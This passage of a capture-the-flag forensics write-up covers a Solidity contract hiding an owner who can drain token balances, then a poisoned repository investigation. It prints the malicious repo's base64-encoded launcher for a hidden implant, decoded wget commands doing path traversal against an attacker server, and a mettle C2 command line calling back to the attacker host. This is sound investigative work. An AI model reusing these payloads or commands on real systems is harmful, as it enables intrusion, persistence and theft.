</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">address</span>(<span style="color:#a6e22e">uint160</span>(<span style="color:#a6e22e">uint256</span>(<span style="color:#a6e22e">x2</span>) <span style="color:#f92672">^</span> <span style="color:#a6e22e">uint256</span>(<span style="color:#a6e22e">x3</span>)));
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">x8</span>(<span style="color:#a6e22e">bytes</span> <span style="color:#a6e22e">calldata</span> <span style="color:#a6e22e">cipherFlag</span>) <span style="color:#a6e22e">external</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">require</span>(<span style="color:#a6e22e">x4</span>.<span style="color:#a6e22e">length</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>, <span style="color:#e6db74">&#34;already set&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">x4</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">cipherFlag</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">x9</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">x10</span>) <span style="color:#a6e22e">external</span> <span style="color:#a6e22e">view</span> <span style="color:#a6e22e">returns</span> (<span style="color:#a6e22e">string</span> <span style="color:#a6e22e">memory</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">require</span>(<span style="color:#a6e22e">x10</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">x7</span>(), <span style="color:#e6db74">&#34;not quite - keep analyzing&#34;</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">bytes</span> <span style="color:#a6e22e">memory</span> <span style="color:#a6e22e">decrypted</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_crypt</span>(<span style="color:#a6e22e">x4</span>, <span style="color:#a6e22e">x10</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">string</span>(<span style="color:#a6e22e">decrypted</span>);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">_crypt</span>(<span style="color:#a6e22e">bytes</span> <span style="color:#a6e22e">memory</span> <span style="color:#a6e22e">data</span>, <span style="color:#a6e22e">address</span> <span style="color:#a6e22e">key</span>) <span style="color:#a6e22e">internal</span> <span style="color:#a6e22e">pure</span> <span style="color:#a6e22e">returns</span> (<span style="color:#a6e22e">bytes</span> <span style="color:#a6e22e">memory</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">bytes</span> <span style="color:#a6e22e">memory</span> <span style="color:#a6e22e">out</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">bytes</span>(<span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">length</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">counter</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">while</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">length</span>) {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">bytes32</span> <span style="color:#a6e22e">block_</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">keccak256</span>(<span style="color:#a6e22e">abi</span>.<span style="color:#a6e22e">encodePacked</span>(<span style="color:#a6e22e">key</span>, <span style="color:#a6e22e">counter</span>));
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">j</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">j</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">32</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">data</span>.<span style="color:#a6e22e">length</span>; <span style="color:#a6e22e">j</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">out</span>[<span style="color:#a6e22e">i</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">data</span>[<span style="color:#a6e22e">i</span>] <span style="color:#f92672">^</span> <span style="color:#a6e22e">block_</span>[<span style="color:#a6e22e">j</span>];
</span></span><span style="display:flex;"><span>				<span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">counter</span><span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">out</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">x11</span>(<span style="color:#a6e22e">address</span> <span style="color:#a6e22e">x12</span>) <span style="color:#a6e22e">external</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">require</span>(<span style="color:#a6e22e">msg</span>.<span style="color:#a6e22e">sender</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">x7</span>(), <span style="color:#e6db74">&#34;only hidden owner&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">uint256</span> <span style="color:#a6e22e">bal</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x1</span>.<span style="color:#a6e22e">balanceOf</span>(<span style="color:#a6e22e">x12</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">x1</span>.<span style="color:#a6e22e">transferFrom</span>(<span style="color:#a6e22e">x12</span>, <span style="color:#a6e22e">x7</span>(), <span style="color:#a6e22e">bal</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="x7">x7</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">&gt;&gt;&gt;</span> x2 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7ccb3a440e383635148b237df8bb22dff0b594425beae88d6e1623df0bc7669b</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> x3 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x7ccb3a440e383635148b237d13473c069ba9ffd6545c58ee37e969b87d181c01</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> 
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> xor <span style="color:#f92672">=</span> x2 <span style="color:#f92672">^</span> x3
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> <span style="color:#75715e"># Take lower 160 bits (last 40 hex chars)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> hidden_owner <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;0x&#34;</span> <span style="color:#f92672">+</span> hex(xor)[<span style="color:#f92672">-</span><span style="color:#ae81ff">40</span>:]
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> print (<span style="color:#e6db74">&#34;x7&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> print (hidden_owner)
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span> 
</span></span><span style="display:flex;"><span>x7
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">0xebfc1ed96b1c6b940fb6b06359ff4a6776df7a9a</span>
</span></span></code></pre></div><p>Turns out you may not even to decrypt x7. Since it&rsquo;s a known information in other tab. Which is shown in the table below.</p>
<table>
  <thead>
      <tr>
          <th>R/W</th>
          <th>variable</th>
          <th>address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>R</td>
          <td>x1</td>
          <td>0x6B2B0C0d0a376255Ac70Bf1366f50982bF476Bb2</td>
      </tr>
      <tr>
          <td>R</td>
          <td>x7</td>
          <td>0xEBfC1eD96b1C6b940fb6B06359fF4A6776Df7a9A</td>
      </tr>
      <tr>
          <td>R</td>
          <td>x9</td>
          <td>x10</td>
      </tr>
      <tr>
          <td>W</td>
          <td>x11</td>
          <td>x12</td>
      </tr>
      <tr>
          <td>W</td>
          <td>x8</td>
          <td>cipherFlag (bytes)</td>
      </tr>
  </tbody>
</table>
<p>It is required that <code>x7 == x10</code>.</p>
<p>Response:</p>
<pre tabindex="0"><code>Result:x9(address) method Responsestring

string:

51.5049,0.0348
</code></pre><p>Oh, that&rsquo;s our flag. Huh. Weird.</p>
<h1 id="5">5</h1>
<blockquote>
<p>What was the name of the malicious repository? (string)</p></blockquote>
<p><code>diogenes-ticket-parser</code></p>
<blockquote>
<p>What file holds the encrypted payload? (filename.ext)</p></blockquote>
<p><code>calibration.bin</code></p>
<p>Within the same directory with <code>calibration.bin</code>. Though, I don&rsquo;t remember which at file did I found this. It will be important later:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>_CALIBRATION <span style="color:#f92672">=</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;Y2htb2QgK3ggfi8uY2FjaGUvLnRpY2tldC1wYXJzZXIvLmludGVncml0eTsgfi8uY2FjaGUvLnRpY2tldC1wYXJzZXIvLmludGVncml0eSAyPiYxICY=&#34;</span>
</span></span><span style="display:flex;"><span>) 
</span></span><span style="display:flex;"><span><span style="color:#75715e"># chmod +x ~/.cache/.ticket-parser/.integrity; ~/.cache/.ticket-parser/.integrity 2&gt;&amp;1 &amp;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>_CACHE_DIR <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;LmNhY2hl&#34;</span> <span style="color:#75715e"># .cache</span>
</span></span><span style="display:flex;"><span>_PARSER_DIR <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;LnRpY2tldC1wYXJzZXI=&#34;</span> <span style="color:#75715e"># .ticket-parser</span>
</span></span><span style="display:flex;"><span>_FILE <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#34;LmludGVncml0eQ==&#34;</span> <span style="color:#75715e"># .integrity</span>
</span></span></code></pre></div><blockquote>
<p>What email address is listed for the author of the repo? (email address)</p></blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>~/Downloads/PoisonedBranch/home/Tom/Projects/diogenes-ticket-parser$ git log
</span></span><span style="display:flex;"><span>commit 81d8e7448c185be0733d8cab67b40a2e572fd91e <span style="color:#f92672">(</span>HEAD -&gt; main, origin/main, origin/HEAD<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Author: Sebastain Moran &lt;cbass.Moran@blackpearl2026.htb&gt;
</span></span><span style="display:flex;"><span>Date:   Fri Sep <span style="color:#ae81ff">11</span> 16:05:06 <span style="color:#ae81ff">2026</span> +0100
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Initial project import
</span></span></code></pre></div><blockquote>
<p>What is the full path of the c2 implant? (<code>/path/to/file</code>)</p></blockquote>
<pre tabindex="0"><code>/home/Tom/.cache/.ticket-parser/.integrity
</code></pre><blockquote>
<p>What port did the implant connect back to (number)? And its pid, as well?</p></blockquote>
<p>Within the <code>ss_-tanp.txt</code>:</p>
<pre tabindex="0"><code>State  Recv-Q Send-Q Local Address:Port  Peer Address:Port Process                              
LISTEN 0      128          0.0.0.0:22         0.0.0.0:*     users:((&#34;sshd&#34;,pid=629,fd=3))       
ESTAB  0      0       192.168.0.21:50878 203.0.113.10:31337 users:((&#34;.integrity&#34;,pid=1514,fd=4))
LISTEN 0      128             [::]:22            [::]:*     users:((&#34;sshd&#34;,pid=629,fd=4))       
</code></pre><blockquote>
<p>The attacker tried to use URL:PORT before using IP:PORT to download a file to Tom&rsquo;s machine. What was the URL:PORT combo? (set the spawned vm IP to this URL in your /etc/hosts to complete the challenge)</p></blockquote>
<pre tabindex="0"><code>moran@BlackPearl -&gt; ssh address -&gt; pid is 629
</code></pre><pre tabindex="0"><code>└─➜ nmap 10.129.5.145                                                                                          [0]
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-20 14:27 +0700
Nmap scan report for 10.129.5.145 (10.129.5.145)
Host is up (0.054s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds
</code></pre><p>In audit.log</p>
<pre tabindex="0"><code>type=SYSCALL msg=audit(1789482400.268:366): arch=c000003e syscall=59 success=yes exit=0 a0=5642c1639aa8 a1=5642c1639830 a2=5642c1639868 a3=8 items=3 ppid=1516 pid=1520 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=tty1 ses=1 comm=&#34;wget&#34; exe=&#34;/usr/bin/wget&#34; subj=unconfined key=&#34;tom_exe&#34; ARCH=x86_64 SYSCALL=execve AUID=&#34;Tom&#34; UID=&#34;Tom&#34; GID=&#34;Tom&#34; EUID=&#34;Tom&#34; SUID=&#34;Tom&#34; FSUID=&#34;Tom&#34; EGID=&#34;Tom&#34; SGID=&#34;Tom&#34; FSGID=&#34;Tom&#34;
type=EXECVE msg=audit(1789482400.268:366): argc=6 a0=&#34;wget&#34; a1=&#34;-q&#34; a2=2D2D6865616465723D436F6F6B69653A20582D4F70657261746F722D417574683D6E61706F6C656F6E5F6D6F72616E5F31383934 a3=&#34;-O&#34; a4=&#34;authorized_keys&#34; a5=687474703A2F2F426C61636B506561726C323032362E6874623A393939392F646F776E6C6F61643F66696C653D2E2E2F2E2E2F2E7373682F69645F7273612E7075620A6C73202D6C610A
</code></pre><p>Means:</p>
<pre tabindex="0"><code>wget -q --header=&#34;Cookie: X-Operator-Auth=napoleon_moran_1894&#34; \
     -O authorized_keys \
     http://BlackPearl2026.htb:9999/download?file=../../.ssh/id_rsa.pub
</code></pre><p>This happen before:</p>
<pre tabindex="0"><code>type=EXECVE msg=audit(1789482890.524:369): argc=6 a0=&#34;wget&#34; a1=&#34;-q&#34; a2=2D2D6865616465723D436F6F6B69653A20582D4F70657261746F722D417574683D6E61706F6C656F6E5F6D6F72616E5F31383934 a3=&#34;-O&#34; a4=&#34;authorized_keys&#34; a5=&#34;http://203.0.113.10:9999/download?file=../../.ssh/id_rsa.pub&#34;
</code></pre><p>Means:</p>
<pre tabindex="0"><code>wget -q --header=&#34;Cookie: X-Operator-Auth=napoleon_moran_1894&#34; \
     -O authorized_keys \
     http://203.0.113.10:9999/download?file=../../.ssh/id_rsa.pub
</code></pre><blockquote>
<p>What is the name of the Cookie/Token for the attackers web server? (Header=value)</p></blockquote>
<pre tabindex="0"><code>X-Operator-Auth=napoleon_moran_1894
</code></pre><blockquote>
<p>The attacker deleted a file before leaving. What command did they run? (string)</p></blockquote>
<pre tabindex="0"><code>rm Gov_HR_Continuity_Emergency_Callout_Roster.pdf
</code></pre><p>From:</p>
<pre tabindex="0"><code class="language-audit.log" data-lang="audit.log">type=SYSCALL msg=audit(1789483257.580:381): arch=c000003e syscall=59 success=yes exit=0 a0=55ed9075b9c0 a1=55ed9075b8e0 a2=55ed9075b8f8 a3=8 items=3 ppid=1549 pid=1551 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=tty1 ses=1 comm=&#34;rm&#34; exe=&#34;/usr/bin/rm&#34; subj=unconfined key=&#34;tom_exe&#34; ARCH=x86_64 SYSCALL=execve AUID=&#34;Tom&#34; UID=&#34;Tom&#34; GID=&#34;Tom&#34; EUID=&#34;Tom&#34; SUID=&#34;Tom&#34; FSUID=&#34;Tom&#34; EGID=&#34;Tom&#34; SGID=&#34;Tom&#34; FSGID=&#34;Tom&#34;
type=EXECVE msg=audit(1789483257.580:381): argc=2 a0=&#34;rm&#34; a1=&#34;Gov_HR_Continuity_Emergency_Callout_Roster.pdf&#34;
type=CWD msg=audit(1789483257.580:381): cwd=&#34;/home/Tom/Work_Stuff/ONBOARDING&#34;
</code></pre><blockquote>
<p>What was the ppid of the command from the previous question? (number)</p></blockquote>
<p>-&gt; 1549</p>
<blockquote>
<p>Extra notes, might be useful later.</p></blockquote>
<p>Parsing <code>.integrity</code> strings:</p>
<pre tabindex="0"><code>mettle -U &#34;DZX5O4OdQwxuIGgiBIR4cA==&#34; -G &#34;AAAAAAAAAAAAAAAAAAAAAA==&#34; -u &#34;tcp://blackpearl2026.htb:31337&#34; -d &#34;0&#34; -o &#34;&#34; -b &#34;0&#34; 
</code></pre><p>Also:</p>
<pre tabindex="0"><code>/etc/group
/var/run/nscd/socket
/proc/self/task
/etc/localtime
TZif
/usr/share/zoneinfo/
/share/zoneinfo/
/etc/zoneinfo/
</code></pre><pre tabindex="0"><code>search
/etc/passwd
/usr/local/bin:/bin:/usr/bin
</code></pre>]]></content:encoded></item></channel></rss>